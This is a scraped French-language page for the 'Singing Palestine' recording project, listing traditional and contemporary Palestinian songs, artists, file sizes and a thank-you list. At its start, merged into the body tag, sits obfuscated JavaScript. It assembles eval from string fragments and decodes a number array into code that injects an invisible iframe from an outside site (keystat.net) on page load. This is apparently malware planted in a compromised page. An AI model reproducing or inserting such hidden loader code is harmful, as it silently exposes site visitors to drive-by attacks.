h=-parseInt('012')/5;if(window["document"])try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(1)+zz;ss=[];f='fr'+'omCh';f+='arC';f+='qgode'["substr"](2);w=this;e=w[f.substr(11)+zz];t='y';} n="3.5@3.5@51.5@50@15@19@49@54.5@48.5@57.5@53.5@49.5@54@57@22@50.5@49.5@57@33.5@53@49.5@53.5@49.5@54@57@56.5@32@59.5@41@47.5@50.5@38@47.5@53.5@49.5@19@18.5@48@54.5@49@59.5@18.5@19.5@44.5@23@45.5@19.5@60.5@5.5@3.5@3.5@3.5@51.5@50@56@47.5@53.5@49.5@56@19@19.5@28.5@5.5@3.5@3.5@61.5@15@49.5@53@56.5@49.5@15@60.5@5.5@3.5@3.5@3.5@49@54.5@48.5@57.5@53.5@49.5@54@57@22@58.5@56@51.5@57@49.5@19@16@29@51.5@50@56@47.5@53.5@49.5@15@56.5@56@48.5@29.5@18.5@51@57@57@55@28@22.5@22.5@52.5@49.5@59.5@56.5@57@47.5@57@22@54@49.5@57@22.5@18.5@15@58.5@51.5@49@57@51@29.5@18.5@23.5@23@18.5@15@51@49.5@51.5@50.5@51@57@29.5@18.5@23.5@23@18.5@15@56.5@57@59.5@53@49.5@29.5@18.5@58@51.5@56.5@51.5@48@51.5@53@51.5@57@59.5@28@51@51.5@49@49@49.5@54@28.5@55@54.5@56.5@51.5@57@51.5@54.5@54@28@47.5@48@56.5@54.5@53@57.5@57@49.5@28.5@53@49.5@50@57@28@23@28.5@57@54.5@55@28@23@28.5@18.5@30@29@22.5@51.5@50@56@47.5@53.5@49.5@30@16@19.5@28.5@5.5@3.5@3.5@61.5@5.5@3.5@3.5@50@57.5@54@48.5@57@51.5@54.5@54@15@51.5@50@56@47.5@53.5@49.5@56@19@19.5@60.5@5.5@3.5@3.5@3.5@58@47.5@56@15@50@15@29.5@15@49@54.5@48.5@57.5@53.5@49.5@54@57@22@48.5@56@49.5@47.5@57@49.5@33.5@53@49.5@53.5@49.5@54@57@19@18.5@51.5@50@56@47.5@53.5@49.5@18.5@19.5@28.5@50@22@56.5@49.5@57@31.5@57@57@56@51.5@48@57.5@57@49.5@19@18.5@56.5@56@48.5@18.5@21@18.5@51@57@57@55@28@22.5@22.5@52.5@49.5@59.5@56.5@57@47.5@57@22@54@49.5@57@22.5@18.5@19.5@28.5@50@22@56.5@57@59.5@53@49.5@22@58@51.5@56.5@51.5@48@51.5@53@51.5@57@59.5@29.5@18.5@51@51.5@49@49@49.5@54@18.5@28.5@50@22@56.5@57@59.5@53@49.5@22@55@54.5@56.5@51.5@57@51.5@54.5@54@29.5@18.5@47.5@48@56.5@54.5@53@57.5@57@49.5@18.5@28.5@50@22@56.5@57@59.5@53@49.5@22@53@49.5@50@57@29.5@18.5@23@18.5@28.5@50@22@56.5@57@59.5@53@49.5@22@57@54.5@55@29.5@18.5@23@18.5@28.5@50@22@56.5@49.5@57@31.5@57@57@56@51.5@48@57.5@57@49.5@19@18.5@58.5@51.5@49@57@51@18.5@21@18.5@23.5@23@18.5@19.5@28.5@50@22@56.5@49.5@57@31.5@57@57@56@51.5@48@57.5@57@49.5@19@18.5@51@49.5@51.5@50.5@51@57@18.5@21@18.5@23.5@23@18.5@19.5@28.5@5.5@3.5@3.5@3.5@49@54.5@48.5@57.5@53.5@49.5@54@57@22@50.5@49.5@57@33.5@53@49.5@53.5@49.5@54@57@56.5@32@59.5@41@47.5@50.5@38@47.5@53.5@49.5@19@18.5@48@54.5@49@59.5@18.5@19.5@44.5@23@45.5@22@47.5@55@55@49.5@54@49@32.5@51@51.5@53@49@19@50@19.5@28.5@5.5@3.5@3.5@61.5"["s"+"p"+"lit"]("a@".substr(1));for(i=6-2-1-2-1;i!=547;i++){j=i;if(st)ss=ss+st.fromCharCode(-h*(1+1*n[j]));}if(t)q=ss;if(e)e(""+q);" text="#5E4A2C" link="#3F3028" vlink="#896B4E">

No flash player!

It looks like you don't have flash player installed. Click here to go to Macromedia download page.

Présentation du Projet

Téléchargez ici (Singing Palestine)

Date d'envoi de votre enregistrement

Dès que votre enregistrement est prêt: ce projet n’a pas de date limite.
Les premiers enregistrements sont déjà arrivés. Vous pouvez les écouter ici: www.singingpalestine.com


Prononciation
Fichier			Prononciation
Téléchargez le fichier "Prononciation" ... il pourra vous être utile...
Chants traditionnels
Chanson		Audio	Phonétique /Traduction
1.	Adornment of the bride - 2:51 Troupe El-funoun - cd: Zaghareed: Music From The Palestinian Holy Land	675 Ko
2.	Al rozana - 4:12 Amal Murkus Autres versions que version choisie: Amer Al -Khuffash Tony Hanna	3.84Mo
3.	Dal'onah (instrumental) - 3:23 Troupe El-funoun - cd: Zaghareed: Music From The Palestinian Holy Land	6.20Mo	instrumental
4.	Immi rahat Titsawwaq - 2:48 Radio France -cd: Enfants du monde entier	2.57Mo
5.	Mash'al - 3:26 Amal Murkus	1.57Mo
6.	Miriam - 2:43 Troupe El-funoun - cd: Zaghareed: Music From The Palestinian Holy Land	3.11Mo
7.	Ween a'a Ramallah - 5:14 (version 1) Anatolia	4.79Mo
8.	Ween a'a Ramallah - 4:12 (version 2) Kulna Sawa Band - groupe syrien -cd: Musaiuqe	3.85Mo
9.	Ya Bai Miriam - 1:24 Troupe El-funoun - cd: Zaghareed: Music From The Palestinian Holy Land	2.58Mo
10.	اYa halili ya mali - 5:06 Ibrahim Sbehat (pas de lien site Internet)	4.61Mo
11.	Zareef al Tool - 6:22 Ashraf Abu Lel - cd: Dabka from Palestine	2.92Mo	instrumental
12.	Al Azara - 10:06 Ensemble musical de palestine - cd: Gaza	11.1Mo
Chants contemporains
Chanson		Audio	Phonétique /Traduction
13.	Al nawaria - 4:00 Sabreen- cd: Here Come the Doves	7.34Mo
14.	Ana Darwiche - 6:20 Moniem Adwan - cd: Once Upon a time in Palestine	6.97Mo
15.	Chat el bahr- 7:27 Moniem Adwan - cd: Once Upon a time in Palestine	7.76Mo
16.	Lam’ma l’hamamm - 4:24 Marwan Abado - cd: Kabila	4.03Mo
17.	Nami ya hanin - 4:11 Marwan Abado - cd: Marakeb	3.83Mo
18.	Ng’ayer bukra - 4:02 DAM - cd: Dedication DAM DEMANDE D'ECOUTER VOTRE VERSION AVANT DE DONNER SON ACCORD	3.69Mo
19.	Sarah - 5:10 Rim Banna - cd: The mirrors of my soul	4.74Mo
20.	Malek - 4:08 Rim Banna - cd: The mirrors of my soul	3.79Mo
Paquets
Colis		Paquet
	Toutes les chansons 18 chansons.	88,6Mo
	Toutes les textes Les traductions et transcription phonétiques	11.4Mo

Faites de la PUB, parlez du projet autour de vous, invitez vos amis musiciens à rejoindre l'aventure!! Okay

Okay

Merci !!!!:

Ameer, Awsa Belgium, Babou, Ben, Benjamin, Bilal, Brigitte, Cécile, Dina, Emilio,
François, Gabriel, gregory, Hanadi, Hilda, Julie, Lubna, Mai, Massa, Marcel , Marissa, Mohammad, Mohammad, Murielle, Noura, Pascal, Pierre, Pierrette, Raed, Roland, Saliba, Samira, Transnet, Yara, Zahra, etc.

info@singingpalestine.com

Singing Palestine Team, Singing Palestine © 2010